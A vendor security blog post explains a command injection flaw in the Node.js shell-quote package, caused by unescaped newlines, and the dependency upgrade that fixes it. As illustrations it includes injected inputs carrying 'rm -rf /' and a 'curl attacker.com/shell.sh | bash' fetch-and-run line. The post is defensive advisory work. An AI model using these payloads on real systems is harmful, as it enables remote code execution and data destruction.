Back to Blog
critical SEVERITY7 min read

How Arbitrary Code Execution via Command Injection Happens in Node.js shell-quote and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the popular Node.js `shell-quote` package (versions prior to 1.8.4) where unescaped line terminators allowed attackers to inject and execute arbitrary shell commands. The fix upgrades `shell-quote` from version 1.8.1 to 1.8.4, which properly escapes line terminator characters (such as `\n`, `\r`, `\u2028`, and `\u2029`) before passing strings to the shell. This dependency was present in the project's `package-lock.json`

O
By Orbis AppSec
Published August 5, 2026Reviewed August 5, 2026

Answer Summary

CVE-2026-9277 is a critical command injection vulnerability in the Node.js `shell-quote` package (CWE-78) where unescaped line terminators (`\n`, `\r`, `\u2028`, `\u2029`) allow arbitrary code execution when user-controlled input is passed through `shell-quote`'s `quote()` function. The fix is to upgrade `shell-quote` from any version below 1.8.4 to version 1.8.4 or later, which properly escapes these line terminator characters before shell interpolation.

Vulnerability at a Glance

cweCWE-78
fixUpgrade shell-quote from 1.8.1 to 1.8.4
riskArbitrary code execution on the server or developer machine
languageJavaScript (Node.js)
root causeshell-quote failed to escape line terminator characters, allowing shell command injection
vulnerabilityCommand Injection via Unescaped Line Terminators

Introduction

In this project's dependency tree, the Trivy security scanner flagged a critical command injection vulnerability (CVE-2026-9277) in the shell-quote package at version 1.8.1, pinned in the package-lock.json file. The shell-quote library is widely used in the Node.js ecosystem to safely quote and parse shell command strings — it's depended upon by tools like launch-editor and react-dev-utils (part of Create React App). A flaw in how shell-quote handled line terminator characters meant that any application passing user-influenced strings through its quote() function was potentially vulnerable to arbitrary code execution.

The vulnerability was present in two dependency paths visible in the lockfile:
1. launch-editor requiring "shell-quote": "^1.8.1"
2. react-dev-utils requiring "shell-quote": "^1.7.3"

Both resolved to the vulnerable version 1.8.1. This is the kind of transitive dependency issue that makes supply chain security so challenging — the application developers may never have directly imported shell-quote, yet their users were exposed to a critical RCE vector.

The Vulnerability Explained

What Are Line Terminators and Why Do They Matter?

In most shell environments (bash, sh, zsh), a line terminator signals the end of one command and the beginning of the next. The most common line terminator is the newline character (\n), but Unicode defines additional line separators: \u2028 (Line Separator) and \u2029 (Paragraph Separator). The carriage return (\r) can also serve as a command separator in certain contexts.

The Core Flaw

The shell-quote library's quote() function is designed to take an array of arguments and produce a safely-escaped shell string. For example:

const { quote } = require('shell-quote');
const cmd = quote(['echo', 'hello world']);
// Expected output: "echo 'hello world'"

In version 1.8.1, the escaping logic did not account for line terminator characters embedded within argument strings. This means an attacker could craft input like:

const userInput = "harmless\nrm -rf /";
const cmd = quote(['echo', userInput]);
// Produced: echo 'harmless
// rm -rf /'
// The shell sees TWO commands!

The shell interprets the unescaped newline as a command separator, executing rm -rf / as a completely separate command with whatever privileges the process holds.

Attack Scenario Specific to This Codebase

In this project, shell-quote is used by launch-editor (which opens files in a developer's editor) and react-dev-utils (which provides development utilities for React applications). Consider this realistic attack path:

  1. A React development server processes an error overlay click that includes a file path
  2. The file path is passed through shell-quote to construct a command for opening the file in an editor
  3. An attacker who can influence the file path (e.g., through a crafted error message, source map, or import path) injects a line terminator followed by a malicious command
  4. The development server executes the injected command with the developer's full user privileges

For example, a malicious file reference like:

src/App.js\ncurl attacker.com/shell.sh | bash

Would result in the developer's machine downloading and executing a remote script when they click the error overlay.

Why Version 1.8.1 Was Vulnerable

The resolved entry in the lockfile shows the exact vulnerable artifact:

"shell-quote": {
  "version": "1.8.1",
  "resolved": "https://registry.npmmirror.com/shell-quote/-/shell-quote-1.8.1.tgz",
  "integrity": "sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA=="
}

This version's quote() function would pass through \n, \r, \u2028, and \u2029 without escaping them, breaking the fundamental security contract of the library.

The Fix

What Changed

The fix upgrades shell-quote from version 1.8.1 to 1.8.4 across the entire dependency tree. Version 1.8.4 properly escapes all line terminator characters, ensuring they cannot break out of a quoted string context.

Before (Vulnerable)

"node_modules/shell-quote": {
  "version": "1.8.1",
  "resolved": "https://registry.npmmirror.com/shell-quote/-/shell-quote-1.8.1.tgz",
  "integrity": "sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA=="
}

Dependency references used semver ranges:

"shell-quote": "^1.8.1"  // in launch-editor
"shell-quote": "^1.7.3"  // in react-dev-utils

After (Fixed)

"node_modules/shell-quote": {
  "version": "1.8.4",
  "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.4.tgz",
  "integrity": "sha512-VsC6n6vz1ihYYyZZwX7YZSF5l5x36ca17OC+a69h94YqB7X6XLwf+5MOgynYir2SLFUbl8gIYvBo8K8RoNQ6bQ==",
  "license": "MIT",
  "engines": {
    "node": ">= 0.4"
  },
  "funding": {
    "url": "https://github.com/sponsors/ljharb"
  }
}

Dependency references were pinned to exact versions:

"shell-quote": "1.8.4"  // in launch-editor (was ^1.8.1)
"shell-quote": "1.8.4"  // in react-dev-utils (was ^1.7.3)

Why Each Change Was Necessary

  1. package.json: Updated to specify the fixed version, ensuring fresh installs get the patched library.

  2. package-lock.json: Updated in three locations:
    - The node_modules/shell-quote entry (the actual resolved package metadata)
    - The launch-editor dependency declaration (pinned from ^1.8.1 to 1.8.4)
    - The react-dev-utils dependency declaration (pinned from ^1.7.3 to 1.8.4)

Why Pinning Matters Here

Notice that the fix changes "^1.8.1" to "1.8.4" (removing the caret). This is intentional — by pinning to an exact version, the project ensures that no future npm install can accidentally resolve to a version between 1.8.1 and 1.8.3 that might still be vulnerable. The registry source also changed from npmmirror.com to the canonical registry.npmjs.org, improving supply chain integrity.

Prevention & Best Practices

1. Avoid Shell Interpolation When Possible

Instead of constructing shell command strings, use child_process.execFile() or child_process.spawn() with argument arrays:

// DANGEROUS: shell interpolation
const { exec } = require('child_process');
exec(`editor ${quote([filePath])}`);

// SAFER: no shell involved
const { execFile } = require('child_process');
execFile('editor', [filePath]);

2. Keep Dependencies Updated

Use automated tools to monitor for vulnerable dependencies:
- npm audit for Node.js projects
- Trivy for container and filesystem scanning
- Dependabot or Renovate for automated update PRs

3. Pin Critical Security Dependencies

For security-sensitive libraries like shell-quote, consider pinning exact versions rather than using semver ranges. This prevents unexpected resolution to vulnerable intermediate versions.

4. Audit Your Dependency Tree

Run npm ls shell-quote to understand which packages pull in security-critical transitive dependencies. In this case, two separate packages (launch-editor and react-dev-utils) both depended on shell-quote.

5. Validate Input Before Shell Operations

Even with a properly-escaping library, defense in depth requires validating that inputs conform to expected patterns (e.g., file paths should match ^[a-zA-Z0-9_/.\-]+$).

Key Takeaways

  • Transitive dependencies can harbor critical vulnerabilities: shell-quote was never directly imported, yet it exposed the application to RCE through launch-editor and react-dev-utils.
  • Line terminators are an overlooked injection vector: Most developers think about semicolons and pipes for command injection, but \n, \r, \u2028, and \u2029 are equally dangerous shell metacharacters.
  • Semver ranges can be a liability for security-critical packages: The ^1.7.3 range in react-dev-utils could resolve to any version from 1.7.3 to 1.x.x — pinning to 1.8.4 eliminates ambiguity.
  • Development tooling is an attack surface: This vulnerability in launch-editor could compromise developer machines, which often have elevated access to production systems, secrets, and source code.
  • Registry source matters: The fix also moved resolution from npmmirror.com to the canonical registry.npmjs.org, reducing supply chain risk from mirror-specific attacks.

How Orbis AppSec Detected This

  • Source: User-influenced input (file paths, error messages) flowing into shell command construction via launch-editor and react-dev-utils
  • Sink: shell-quote's quote() function in version 1.8.1, which failed to escape line terminators before shell interpolation
  • Missing control: Line terminator characters (\n, \r, \u2028, \u2029) were not neutralized during the quoting process, allowing command boundary injection
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Upgraded shell-quote from 1.8.1 to 1.8.4, which properly escapes all line terminator characters in quoted strings

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-9277 is a stark reminder that even well-established utility libraries can harbor critical vulnerabilities in edge cases that their escaping logic doesn't cover. The shell-quote package is used by thousands of Node.js projects, and the failure to escape line terminators created a command injection vector that could lead to arbitrary code execution on developer machines and production servers alike.

The fix was straightforward — a dependency version bump from 1.8.1 to 1.8.4 — but the implications of leaving it unpatched were severe. By pinning the exact version and updating both dependency paths in the lockfile, this project eliminated the vulnerability while maintaining full backward compatibility for valid inputs.

Always audit your transitive dependencies, keep security-critical packages updated, and prefer argument arrays over shell string construction whenever possible.

References

Frequently Asked Questions

What is command injection via unescaped line terminators?

It occurs when a shell-quoting library fails to escape newline or Unicode line separator characters, allowing an attacker to terminate the current command and inject a new one that the shell executes.

How do you prevent command injection in Node.js?

Use parameterized execution (e.g., `child_process.execFile` with argument arrays), keep shell-quoting libraries updated, validate and sanitize all user input before shell interpolation, and avoid `shell: true` where possible.

What CWE is command injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation alone enough to prevent command injection?

No. While input validation helps reduce attack surface, proper escaping at the point of shell interpolation is essential. Libraries like shell-quote must handle all metacharacters including line terminators.

Can static analysis detect command injection?

Yes. Tools like Trivy, Semgrep, and Snyk can detect known vulnerable dependency versions and flag patterns where user input flows into shell commands without proper sanitization.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #15

Related Articles

medium

How XML Entity Expansion Denial of Service happens in Node.js and how to fix it

A critical denial of service vulnerability (CVE-2026-33036) was discovered in fast-xml-parser versions prior to 5.5.6 and 4.5.5, allowing attackers to bypass entity expansion limits and crash Node.js applications through malicious XML payloads. This fix upgrades the dependency in the scripts directory to patched versions, protecting build pipelines and any runtime XML processing from resource exhaustion attacks.

critical

How ReDoS Vulnerabilities Happen in Node.js Express Applications and How to Fix Them

A critical Regular Expression Denial of Service (ReDoS) vulnerability in the path-to-regexp package (CVE-2024-45296) was discovered in the lacartoons-addon project's dependency tree. The vulnerable versions used backtracking regular expressions that could cause catastrophic performance degradation when processing malicious route patterns. Upgrading to patched versions (0.1.10 for Express's internal router) eliminates this attack vector.

high

How Denial of Service via Exponential Time Complexity happens in brace-expansion and how to fix it

A high-severity Denial of Service vulnerability (CVE-2026-13149) was discovered in the brace-expansion npm package, where specially crafted input patterns could trigger exponential time complexity, potentially freezing Node.js applications. The fix upgrades multiple versions of brace-expansion (1.1.18 → 1.1.16, 2.1.1 → 2.1.2, and 5.0.6 → 5.0.7) through yarn resolutions to ensure all dependency paths use patched versions.

high

How Remote Code Execution via serialize-javascript happens in Node.js and how to fix it

The `serialize-javascript` package version 6.0.2 contained a high-severity Remote Code Execution (RCE) vulnerability (GHSA-5c6j-r48x-rmvq) exploitable through crafted `RegExp.flags` and `Date.prototype.toISOString()` payloads. Upgrading to version 7.0.3 eliminates the vulnerable serialization logic and removes the `randombytes` dependency that was part of the attack surface. This fix was applied via a `package.json` override and `package-lock.json` update.

critical

How unvalidated URL input handling happens in SvelteKit with Tauri and how to fix it

A critical vulnerability in `src/routes/+page.svelte` allowed attackers to supply arbitrary URLs—including `http://` and local file paths—through query parameters and drag-drop events, which were then fetched without validation. The fix restricts input to HTTPS-only URLs and removes the dangerous local file fetch path entirely, eliminating both SSRF and local file disclosure attack vectors.

critical

How Security Bypass in Salesforce SOQL Queries Happens in Apex and How to Fix It

A critical security vulnerability in the ProductController.cls file allowed unauthorized users to bypass Salesforce's field-level and object-level security by executing unprotected SOQL queries. The fix adds a single `WITH USER_MODE` clause to enforce security checks, preventing guest users and unauthorized callers from accessing sensitive product data.